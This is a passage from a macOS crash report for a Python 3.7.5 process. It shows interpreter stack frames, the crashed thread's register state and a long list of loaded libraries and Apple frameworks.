3   org.python.python             	0x00000001009d8698 _PyCFunction_FastCallKeywords + 41
4   org.python.python             	0x0000000100a6cfd0 call_function + 628
5   org.python.python             	0x0000000100a65fab _PyEval_EvalFrameDefault + 6767
6   org.python.python             	0x00000001009d8a6c function_code_fastcall + 106
7   org.python.python             	0x0000000100a6d03d call_function + 737
8   org.python.python             	0x0000000100a66046 _PyEval_EvalFrameDefault + 6922
9   org.python.python             	0x0000000100a6d831 _PyEval_EvalCodeWithName + 1698
10  org.python.python             	0x00000001009d8660 _PyFunction_FastCallKeywords + 212
11  org.python.python             	0x0000000100a6d03d call_function + 737
12  org.python.python             	0x0000000100a65fab _PyEval_EvalFrameDefault + 6767
13  org.python.python             	0x0000000100a6d831 _PyEval_EvalCodeWithName + 1698
14  org.python.python             	0x00000001009d82d8 _PyFunction_FastCallDict + 444
15  org.python.python             	0x00000001009d93df _PyObject_Call_Prepend + 131
16  org.python.python             	0x00000001009d87a5 PyObject_Call + 136
17  org.python.python             	0x0000000100a6628f _PyEval_EvalFrameDefault + 7507
18  org.python.python             	0x0000000100a6d831 _PyEval_EvalCodeWithName + 1698
19  org.python.python             	0x00000001009d82d8 _PyFunction_FastCallDict + 444
20  org.python.python             	0x00000001009d93df _PyObject_Call_Prepend + 131
21  org.python.python             	0x00000001009d87a5 PyObject_Call + 136
22  org.python.python             	0x0000000100a6628f _PyEval_EvalFrameDefault + 7507
23  org.python.python             	0x0000000100a6d831 _PyEval_EvalCodeWithName + 1698
24  org.python.python             	0x00000001009d82d8 _PyFunction_FastCallDict + 444
25  org.python.python             	0x00000001009d93df _PyObject_Call_Prepend + 131
26  org.python.python             	0x00000001009d87a5 PyObject_Call + 136
27  org.python.python             	0x0000000100a6628f _PyEval_EvalFrameDefault + 7507
28  org.python.python             	0x0000000100a6d831 _PyEval_EvalCodeWithName + 1698
29  org.python.python             	0x00000001009d82d8 _PyFunction_FastCallDict + 444
30  org.python.python             	0x00000001009d93df _PyObject_Call_Prepend + 131
31  org.python.python             	0x00000001009d87a5 PyObject_Call + 136
32  org.python.python             	0x0000000100a6628f _PyEval_EvalFrameDefault + 7507
33  org.python.python             	0x0000000100a6d831 _PyEval_EvalCodeWithName + 1698
34  org.python.python             	0x00000001009d82d8 _PyFunction_FastCallDict + 444
35  org.python.python             	0x00000001009d93df _PyObject_Call_Prepend + 131
36  org.python.python             	0x00000001009d87a5 PyObject_Call + 136
37  org.python.python             	0x0000000100a6628f _PyEval_EvalFrameDefault + 7507
38  org.python.python             	0x00000001009d8a6c function_code_fastcall + 106
39  org.python.python             	0x0000000100a6d03d call_function + 737
40  org.python.python             	0x0000000100a65f92 _PyEval_EvalFrameDefault + 6742
41  org.python.python             	0x00000001009d8a6c function_code_fastcall + 106
42  org.python.python             	0x0000000100a6d03d call_function + 737
43  org.python.python             	0x0000000100a65f92 _PyEval_EvalFrameDefault + 6742
44  org.python.python             	0x0000000100a6d831 _PyEval_EvalCodeWithName + 1698
45  org.python.python             	0x00000001009d8660 _PyFunction_FastCallKeywords + 212
46  org.python.python             	0x0000000100a6d03d call_function + 737
47  org.python.python             	0x0000000100a66046 _PyEval_EvalFrameDefault + 6922
48  org.python.python             	0x0000000100a6d831 _PyEval_EvalCodeWithName + 1698
49  org.python.python             	0x0000000100a64499 PyEval_EvalCode + 51
50  org.python.python             	0x0000000100a928ac run_mod + 54
51  org.python.python             	0x0000000100a918df PyRun_FileExFlags + 160
52  org.python.python             	0x0000000100a90f96 PyRun_SimpleFileExFlags + 270
53  org.python.python             	0x0000000100aa97a6 pymain_main + 5445
54  org.python.python             	0x0000000100aa9e14 _Py_UnixMain + 56
55  libdyld.dylib                 	0x00007fff677e72e5 start + 1

Thread 0 crashed with X86 Thread State (64-bit):
  rax: 0x0000000000000000  rbx: 0x0000000000000000  rcx: 0x00007ffeef243cc8  rdx: 0x0000000000000000
  rdi: 0x0000000000014c85  rsi: 0x0000000000000006  rbp: 0x00007ffeef243cf0  rsp: 0x00007ffeef243cc8
   r8: 0x00007ffeef243ca0   r9: 0x00007ffeef243ab0  r10: 0xdc0cf600294c00e7  r11: 0x0000000000000202
  r12: 0x0000000000000002  r13: 0x0000000100b7dcd0  r14: 0x00000001059807b8  r15: 0x0000000000000002
  rip: 0x00007fff67936e1a  rfl: 0x0000000000000202  cr2: 0x0000000100d10cd0
  
Logical CPU:     0
Error Code:      0x02000025
Trap Number:     133


Binary Images:
       0x1009b9000 -        0x1009bafff +org.python.python (3.7.5 - 3.7.5) <B5F1E051-7FCA-3D74-951A-BE7A9F61FC71> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/Resources/Python.app/Contents/MacOS/Python
       0x1009be000 -        0x100b41ff7 +org.python.python (3.7.5, [c] 2001-2019 Python Software Foundation. - 3.7.5) <8F5D3863-C59D-3482-9562-E638BBE51C7B> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/Python
       0x100c25000 -        0x100c2dffb +libintl.8.dylib (0) <CD236902-DB50-39BB-86BB-E9F0D22E5649> /usr/local/opt/gettext/lib/libintl.8.dylib
       0x100f3f000 -        0x100f40fff +_heapq.cpython-37m-darwin.so (0) <D9ED900B-8F58-39EA-9B28-6F5B4F9B8A4C> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_heapq.cpython-37m-darwin.so
       0x100f91000 -        0x100f95ff3 +math.cpython-37m-darwin.so (0) <F10DD1FB-1020-3E26-99BE-481CCE0E591E> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/math.cpython-37m-darwin.so
       0x100f9c000 -        0x100fa7ffb +_datetime.cpython-37m-darwin.so (0) <0141A985-844A-358F-8F09-12AB8D1F1028> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_datetime.cpython-37m-darwin.so
       0x100ff0000 -        0x100ff1fff +_posixsubprocess.cpython-37m-darwin.so (0) <FB0FC9AD-8D80-31A2-B979-41723DBBA055> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_posixsubprocess.cpython-37m-darwin.so
       0x100ff5000 -        0x100ff7fff +select.cpython-37m-darwin.so (0) <579B856F-9A34-3A9B-9EAA-D64140E5FE72> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/select.cpython-37m-darwin.so
       0x1010bd000 -        0x1010c0fff +_struct.cpython-37m-darwin.so (0) <A12A931E-0887-30C0-9870-7A549EC9C228> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_struct.cpython-37m-darwin.so
       0x101110000 -        0x10113dff7 +_decimal.cpython-37m-darwin.so (0) <63A6ED2C-C2C5-30C9-B163-7F5A7F0026F7> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_decimal.cpython-37m-darwin.so
       0x1011d0000 -        0x1011d0fff +_opcode.cpython-37m-darwin.so (0) <4204DF40-4EBD-3629-8F28-4794F08FDA1D> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_opcode.cpython-37m-darwin.so
       0x101214000 -        0x101217fff +zlib.cpython-37m-darwin.so (0) <E522AD8C-8917-3960-B8CF-DD5CA336D3C3> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/zlib.cpython-37m-darwin.so
       0x10121d000 -        0x10121efff +_bz2.cpython-37m-darwin.so (0) <8B9606FA-4E0E-36E5-9A85-249AE34FF8B5> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_bz2.cpython-37m-darwin.so
       0x101223000 -        0x101226ff7 +_lzma.cpython-37m-darwin.so (0) <94313799-237B-3D45-9F65-797A8AC7BD80> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_lzma.cpython-37m-darwin.so
       0x10122c000 -        0x101247ff7 +liblzma.5.dylib (0) <423B98CF-7AF0-325D-AB6A-3F44B56B90C2> /usr/local/opt/xz/lib/liblzma.5.dylib
       0x10124d000 -        0x10124efff +grp.cpython-37m-darwin.so (0) <68DC3970-83D1-3E67-84DD-9129D32657C9> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/grp.cpython-37m-darwin.so
       0x101292000 -        0x101295fff +_hashlib.cpython-37m-darwin.so (0) <00BE40D9-3084-3E6A-8639-DC06F12B3E67> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_hashlib.cpython-37m-darwin.so
       0x10129a000 -        0x1012e8fff +libssl.1.1.dylib (0) <6E8C5906-2EB3-3F95-9B6D-2C509049EF4C> /usr/local/opt/openssl at 1.1/lib/libssl.1.1.dylib
       0x101311000 -        0x1014ac917 +libcrypto.1.1.dylib (0) <67579E42-401A-3775-B5C6-518E58CC8032> /usr/local/opt/openssl at 1.1/lib/libcrypto.1.1.dylib
       0x10153e000 -        0x101543ffb +_blake2.cpython-37m-darwin.so (0) <768F6BA7-0CAF-3488-9A22-4F185C5EFA7C> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_blake2.cpython-37m-darwin.so
       0x101548000 -        0x101558fff +_sha3.cpython-37m-darwin.so (0) <2E31BBA1-CADF-34C9-9863-8A630611FD24> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_sha3.cpython-37m-darwin.so
       0x10155e000 -        0x10155efff +_bisect.cpython-37m-darwin.so (0) <387632CC-41B1-3ED6-866D-3C3E44145A82> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_bisect.cpython-37m-darwin.so
       0x101562000 -        0x101563ffb +_random.cpython-37m-darwin.so (0) <E8386EAF-C75D-3EAD-92CD-B7EFC9C172A8> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_random.cpython-37m-darwin.so
       0x101727000 -        0x101727fff +_uuid.cpython-37m-darwin.so (0) <8FBE1B4E-252D-321B-A570-D67BEB1C177A> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_uuid.cpython-37m-darwin.so
       0x10172b000 -        0x10172eff7 +binascii.cpython-37m-darwin.so (0) <7A5E1952-82A8-3DB3-9666-7CF04FC52505> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/binascii.cpython-37m-darwin.so
       0x101733000 -        0x101738fff +_json.cpython-37m-darwin.so (0) <284E3EB4-B1A6-3B6A-BD92-7959C77FA60B> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_json.cpython-37m-darwin.so
       0x10177d000 -        0x10187bfff +unicodedata.cpython-37m-darwin.so (0) <4B82ABA9-EFEC-34F0-B899-8958FAB73427> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/unicodedata.cpython-37m-darwin.so
       0x1018c1000 -        0x1018c9ffb +_socket.cpython-37m-darwin.so (0) <AEF9A41E-A27B-3F21-AEE8-3B49603975A4> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_socket.cpython-37m-darwin.so
       0x101b26000 -        0x101b32ffb +_pickle.cpython-37m-darwin.so (0) <D1B91A34-82E4-3534-B358-6166655CB593> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_pickle.cpython-37m-darwin.so
       0x101b3d000 -        0x101b3efff +_speedups.cpython-37m-darwin.so (???) <E9B73517-643A-3FD1-8B18-600595CA2B65> /Users/USER/*/_speedups.cpython-37m-darwin.so
       0x101c73000 -        0x101c80fff +_ssl.cpython-37m-darwin.so (0) <903F2FB6-CCE1-316C-8EA1-15EDF0BF629F> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_ssl.cpython-37m-darwin.so
       0x101d0f000 -        0x101d0ffff +_contextvars.cpython-37m-darwin.so (0) <46E84186-1CB7-3F54-901C-66BA82573EC9> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_contextvars.cpython-37m-darwin.so
       0x101d13000 -        0x101d18fff +_asyncio.cpython-37m-darwin.so (0) <1E7DA7FE-894B-3934-B049-6FCBBEF7900C> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_asyncio.cpython-37m-darwin.so
       0x101e62000 -        0x101eb4ff7 +_imaging.cpython-37m-darwin.so (0) <4085C13E-239C-3175-B82E-F5CFE26E4116> /Users/USER/*/_imaging.cpython-37m-darwin.so
       0x101edb000 -        0x101f12fff +libjpeg.9.dylib (0) <5031EBB1-CCBE-37BC-B348-9A899B06AFDB> /Users/USER/*/libjpeg.9.dylib
       0x101f22000 -        0x101f98ffb +libopenjp2.2.3.1.dylib (0) <070B3635-9516-3171-8E04-6F645281C96B> /Users/USER/*/libopenjp2.2.3.1.dylib
       0x101fa3000 -        0x101fbeff7 +libz.1.2.11.dylib (0) <8F57D771-E0DD-3DA4-8241-A90A4B0AE451> /Users/USER/*/libz.1.2.11.dylib
       0x101fc2000 -        0x10204eff3 +libtiff.5.dylib (0) <5A576A29-DE0D-3A70-9D24-F9FFDCA7E14D> /Users/USER/*/libtiff.5.dylib
       0x102060000 -        0x102090fff +liblzma.5.dylib (0) <4E0649AF-77F8-3889-B300-B37ED7E6F40F> /Users/USER/*/liblzma.5.dylib
       0x102118000 -        0x10211dffb +array.cpython-37m-darwin.so (0) <F802200C-DE02-364B-B629-2B1EF8F5B6D4> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/array.cpython-37m-darwin.so
       0x1021e5000 -        0x1021e7fff +mmap.cpython-37m-darwin.so (0) <897B39B2-4A4B-3951-85DE-B7ACBA9CCAEF> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/mmap.cpython-37m-darwin.so
       0x10222c000 -        0x10222dfff +_webp.cpython-37m-darwin.so (0) <47BDF1B7-C4AE-3797-9ABC-60E498C316C5> /Users/USER/*/_webp.cpython-37m-darwin.so
       0x102232000 -        0x1022d5fff +libwebp.7.dylib (0) <D4ECF019-B9CF-3292-AFCB-601122DDC89E> /Users/USER/*/libwebp.7.dylib
       0x1022eb000 -        0x1022f4fff +libwebpmux.3.dylib (0) <A11340E3-D08E-3C8A-B6F1-38C1A57E3926> /Users/USER/*/libwebpmux.3.dylib
       0x1022f9000 -        0x1022fdff3 +libwebpdemux.2.dylib (0) <9A6F6420-BF33-3C19-91D1-E44FA8A60016> /Users/USER/*/libwebpdemux.2.dylib
       0x102400000 -        0x102401fff +fcntl.cpython-37m-darwin.so (0) <B08A0084-F70D-32E5-8F3D-973519CB8564> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/fcntl.cpython-37m-darwin.so
       0x102506000 -        0x102507fff +termios.cpython-37m-darwin.so (0) <1C441858-CD7C-3511-B39E-EED449AF91D1> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/termios.cpython-37m-darwin.so
       0x10268b000 -        0x10268cfff +_queue.cpython-37m-darwin.so (0) <13D55382-1B48-3A23-BECE-AA0F2D58EC85> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_queue.cpython-37m-darwin.so
       0x102a51000 -        0x102a54ffb +_zope_interface_coptimizations.cpython-37m-darwin.so (0) <FE1BC506-E2CF-3985-BB6D-7AA3BB508AD0> /Users/USER/*/_zope_interface_coptimizations.cpython-37m-darwin.so
       0x102b2c000 -        0x102b2dfff +_scproxy.cpython-37m-darwin.so (0) <51EE48B8-345C-36E6-BBC5-61D81C314FF7> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_scproxy.cpython-37m-darwin.so
       0x102c71000 -        0x102c80fff +_ctypes.cpython-37m-darwin.so (0) <E4627CC2-6724-3E16-8671-FC1D19DBFFAD> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_ctypes.cpython-37m-darwin.so
       0x10310d000 -        0x10310eff3 +_constant_time.abi3.so (0) <96047CA2-343F-3C1A-A7FC-D5E1A0B3EB93> /Users/USER/*/_constant_time.abi3.so
       0x103111000 -        0x10312bff7 +_cffi_backend.cpython-37m-darwin.so (0) <34A2EC26-072B-399C-9841-6AE90C845EA6> /Users/USER/*/_cffi_backend.cpython-37m-darwin.so
       0x103202000 -        0x103221ffb +pyexpat.cpython-37m-darwin.so (0) <59BC1282-62AE-3A64-BE62-F1A49D627801> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/pyexpat.cpython-37m-darwin.so
       0x10353e000 -        0x103549fff +_curses.cpython-37m-darwin.so (0) <9BDFF609-073B-3058-8CFF-BF03681057D4> /usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_curses.cpython-37m-darwin.so
       0x10381b000 -        0x10381ffff +_rl_accel.cpython-37m-darwin.so (???) <0946EBBB-1EA5-31E1-8BDF-80FB2562F609> /Users/USER/*/_rl_accel.cpython-37m-darwin.so
       0x103d9d000 -        0x103ea7ffb +_xapian.cpython-37m-darwin.so (0) <563380C8-F629-36E3-90F4-AF5F019D98B2> /Users/USER/*/_xapian.cpython-37m-darwin.so
       0x103f1b000 -        0x1040c3ffb +libxapian.30.dylib (0) <0CAAC96B-A84A-3B91-B33B-7FD8B4619C52> /Users/USER/*/libxapian.30.dylib
       0x1042aa000 -        0x1042aeff3 +_mysql.cpython-37m-darwin.so (0) <E2FE87E2-12E6-3180-B796-42F8624CB13B> /Users/USER/*/_mysql.cpython-37m-darwin.so
       0x1042ba000 -        0x1042dfff7 +libmariadb.3.dylib (0) <FDD5A5C4-184D-3E24-AF99-828EB6B05F8B> /usr/local/opt/mariadb/lib/libmariadb.3.dylib
       0x1042f6000 -        0x104334fff +libssl.1.0.0.dylib (0) <72760F74-3638-3B29-BE57-203A9FFC2665> /usr/local/opt/openssl/lib/libssl.1.0.0.dylib
       0x104351000 -        0x1044a3f77 +libcrypto.1.0.0.dylib (0) <05A68FDC-631D-3FB6-BB02-507CF6E68F43> /usr/local/opt/openssl/lib/libcrypto.1.0.0.dylib
       0x1049be000 -        0x1049c3ff7 +hiredis.cpython-37m-darwin.so (???) <05C8B52F-6DE8-3742-942E-4DAA00EF40CE> /Users/USER/*/hiredis.cpython-37m-darwin.so
       0x104b48000 -        0x104fadfff +etree.cpython-37m-darwin.so (???) <3886C02D-DC32-3A51-93EE-1C2E3C6B0347> /Users/USER/*/etree.cpython-37m-darwin.so
       0x1051cd000 -        0x1051edfff +_elementpath.cpython-37m-darwin.so (???) <429F29F9-50B3-33CC-9E45-AEDA036695FB> /Users/USER/*/_elementpath.cpython-37m-darwin.so
       0x105208000 -        0x105209fff +_rjsmin.cpython-37m-darwin.so (0) <3F5A1F2F-1640-3709-8AB3-8FC933B5A009> /Users/USER/*/_rjsmin.cpython-37m-darwin.so
       0x10564e000 -        0x105655ff7 +_speedups.cpython-37m-darwin.so (0) <05FB9B57-657C-3F07-BC3C-790E85B8E84F> /Users/USER/*/_speedups.cpython-37m-darwin.so
       0x10883c000 -        0x1088ccb5f  dyld (733.6) <DAFEA246-2F9A-3DCB-A37C-4246D4F92770> /usr/lib/dyld
    0x7fff2bed6000 -     0x7fff2bed6fff  com.apple.Accelerate (1.11 - Accelerate 1.11) <71987428-FB54-3F6E-8699-DCC8BADC7D01> /System/Library/Frameworks/Accelerate.framework/Versions/A/Accelerate
    0x7fff2beee000 -     0x7fff2c795ff7  com.apple.vImage (8.1 - 524.2) <6857F772-73E8-348B-9976-3BA0E5570FAA> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vImage.framework/Versions/A/vImage
    0x7fff2c796000 -     0x7fff2c92ffef  libBLAS.dylib (1303) <5DDE58FD-747B-34CA-81A2-7BCDFF3DD291> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libBLAS.dylib
    0x7fff2c930000 -     0x7fff2cb36fff  libBNNS.dylib (144.40.3) <8FBAAA82-90E2-3EDD-A96B-8D2139DCA619> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libBNNS.dylib
    0x7fff2cb38000 -     0x7fff2ceecfff  libLAPACK.dylib (1303) <7E61073B-DB96-3AE8-B188-5FBB20479A8C> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libLAPACK.dylib
    0x7fff2ceed000 -     0x7fff2cf02ff8  libLinearAlgebra.dylib (1303) <A5695D91-D87C-3E66-A470-16A166D8B43B> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libLinearAlgebra.dylib
    0x7fff2cf03000 -     0x7fff2cf08ff3  libQuadrature.dylib (7) <7EE59014-8FC5-3369-868B-8A87E590BF78> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libQuadrature.dylib
    0x7fff2cf09000 -     0x7fff2cf79fff  libSparse.dylib (103) <093F97A4-47DE-38DF-BB7A-FF5A3FB0BB3B> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libSparse.dylib
    0x7fff2cf7a000 -     0x7fff2cf8cff7  libSparseBLAS.dylib (1303) <D092E493-0159-3F5E-860B-536B14B6E05C> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libSparseBLAS.dylib
    0x7fff2cf8d000 -     0x7fff2d11ffc7  libvDSP.dylib (735) <1D607D95-D349-39C4-B97A-EFD73AC176A2> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libvDSP.dylib
    0x7fff2d120000 -     0x7fff2d29aff7  libvMisc.dylib (735) <C204E090-98AE-35E8-822A-EAB943739616> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libvMisc.dylib
    0x7fff2d29b000 -     0x7fff2d29bfff  com.apple.Accelerate.vecLib (3.11 - vecLib 3.11) <4E0286A3-D4ED-3A93-A760-77533501A59C> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/vecLib
    0x7fff2e9d2000 -     0x7fff2ed49ffb  com.apple.CFNetwork (1120 - 1120) <5EA797F3-2F7A-3E0C-8DBC-DBE145004EC5> /System/Library/Frameworks/CFNetwork.framework/Versions/A/CFNetwork
    0x7fff30220000 -     0x7fff3069fff7  com.apple.CoreFoundation (6.9 - 1673.126) <09EB9DD0-25BC-3730-9716-FE231CAF2C70> /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
    0x7fff31632000 -     0x7fff31632fff  com.apple.CoreServices (1069.11 - 1069.11) <C8F86BE7-AAED-30A6-BBC2-550446137E7C> /System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices
    0x7fff31633000 -     0x7fff316b8ff7  com.apple.AE (838 - 838) <3301AF1B-D178-306A-9641-B57AA03FB1BE> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/AE.framework/Versions/A/AE
    0x7fff316b9000 -     0x7fff3199afff  com.apple.CoreServices.CarbonCore (1217 - 1217) <FAA1467B-6D39-3EBE-9810-A4DF49478F10> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/CarbonCore.framework/Versions/A/CarbonCore
    0x7fff3199b000 -     0x7fff319e8ffd  com.apple.DictionaryServices (1.2 - 323) <C1798F09-36D3-3C8E-AF72-A3DE63962AF1> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/DictionaryServices.framework/Versions/A/DictionaryServices
    0x7fff319e9000 -     0x7fff319f1fff  com.apple.CoreServices.FSEvents (1268.40.5 - 1268.40.5) <9BB76885-7CD7-3369-B759-33F7E5DA5392> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/FSEvents.framework/Versions/A/FSEvents
    0x7fff319f2000 -     0x7fff31c2bff0  com.apple.LaunchServices (1069.11 - 1069.11) <88F59BD5-412A-35EE-AD45-E6BF80B24891> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/LaunchServices
    0x7fff31c2c000 -     0x7fff31cc4ff9  com.apple.Metadata (10.7.0 - 2074.4) <028AC15A-35B7-3E1F-BCDC-470C8EA0CA09> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Metadata
    0x7fff31cc5000 -     0x7fff31cf2ff7  com.apple.CoreServices.OSServices (1069.11 - 1069.11) <A667F007-A599-3869-99F7-1F8460011015> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/OSServices.framework/Versions/A/OSServices
    0x7fff31cf3000 -     0x7fff31d5afff  com.apple.SearchKit (1.4.1 - 1.4.1) <F0A931E4-0C31-36BA-8DD7-01FDF9813FB7> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/SearchKit.framework/Versions/A/SearchKit
    0x7fff31d5b000 -     0x7fff31d7fffd  com.apple.coreservices.SharedFileList (131 - 131) <62C3066A-3991-313F-AE2D-75B2B5934D52> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/SharedFileList.framework/Versions/A/SharedFileList
    0x7fff325d0000 -     0x7fff325d6ff7  com.apple.DiskArbitration (2.7 - 2.7) <A3D2B0A0-3C72-3893-87BF-D45FE398A905> /System/Library/Frameworks/DiskArbitration.framework/Versions/A/DiskArbitration
    0x7fff32908000 -     0x7fff32ccfff4  com.apple.Foundation (6.9 - 1673.126) <470C2315-3047-39BB-BB6B-2C620087091C> /System/Library/Frameworks/Foundation.framework/Versions/C/Foundation
    0x7fff33045000 -     0x7fff330e8ffb  com.apple.framework.IOKit (2.0.2 - 1726.41.1) <FBB4A97B-D7CF-3B8C-932D-672343D63260> /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit
    0x7fff36951000 -     0x7fff3695dffe  com.apple.NetFS (6.0 - 4.0) <5C3C3672-2549-316E-9AC6-A1CFDCD16E9C> /System/Library/Frameworks/NetFS.framework/Versions/A/NetFS
    0x7fff39523000 -     0x7fff3953ffff  com.apple.CFOpenDirectory (10.15 - 220.40.1) <AA81FC34-A7F6-3DA2-A275-B34F75099C7B> /System/Library/Frameworks/OpenDirectory.framework/Versions/A/Frameworks/CFOpenDirectory.framework/Versions/A/CFOpenDirectory
    0x7fff39540000 -     0x7fff3954bfff  com.apple.OpenDirectory (10.15 - 220.40.1) <ECFA2FFB-D5B6-3916-96F7-9F3A1EB1E534> /System/Library/Frameworks/OpenDirectory.framework/Versions/A/OpenDirectory
    0x7fff3c891000 -     0x7fff3cbd7ff6  com.apple.security (7.0 - 59306.41.2) <FB3774D5-C940-35FB-960A-86253A01BDAE> /System/Library/Frameworks/Security.framework/Versions/A/Security
    0x7fff3cbd8000 -     0x7fff3cc60ff7  com.apple.securityfoundation (6.0 - 55236) <6482C994-4DB4-320D-8FD4-50C998EA8856> /System/Library/Frameworks/SecurityFoundation.framework/Versions/A/SecurityFoundation
    0x7fff3ccba000 -     0x7fff3ccbeff8  com.apple.xpc.ServiceManagement (1.0 - 1) <2B80E13A-AFFC-355A-AA82-CCDEF4718E66> /System/Library/Frameworks/ServiceManagement.framework/Versions/A/ServiceManagement
    0x7fff3da4b000 -     0x7fff3dab5ff7  com.apple.SystemConfiguration (1.19 - 1.19) <A52A533D-DA25-3607-A18E-CA7C539E1C52> /System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
    0x7fff41811000 -     0x7fff418d5fef  com.apple.APFS (1412.41.1 - 1412.41.1) <0319F563-43AE-3F80-9107-7F0056E726DB> /System/Library/PrivateFrameworks/APFS.framework/Versions/A/APFS
    0x7fff43523000 -     0x7fff43532fdf  com.apple.AppleFSCompression (119 - 1.0) <7EEDBF8A-8812-33D6-A5B0-F7D36825EE73> /System/Library/PrivateFrameworks/AppleFSCompression.framework/Versions/A/AppleFSCompression
    0x7fff44cd5000 -     0x7fff44cdeff3  com.apple.coreservices.BackgroundTaskManagement (1.0 - 104) <5E2B9000-49D6-3BFA-97F1-3B47A8A7418D> /System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/BackgroundTaskManagement
    0x7fff47a56000 -     0x7fff47a66ff3  com.apple.CoreEmoji (1.0 - 107) <8D1CA277-C4F7-3F3B-919E-73B68D39535E> /System/Library/PrivateFrameworks/CoreEmoji.framework/Versions/A/CoreEmoji
    0x7fff480b7000 -     0x7fff48121ff8  com.apple.CoreNLP (1.0 - 213) <329A9840-CBD8-33A2-A584-2805042284A9> /System/Library/PrivateFrameworks/CoreNLP.framework/Versions/A/CoreNLP
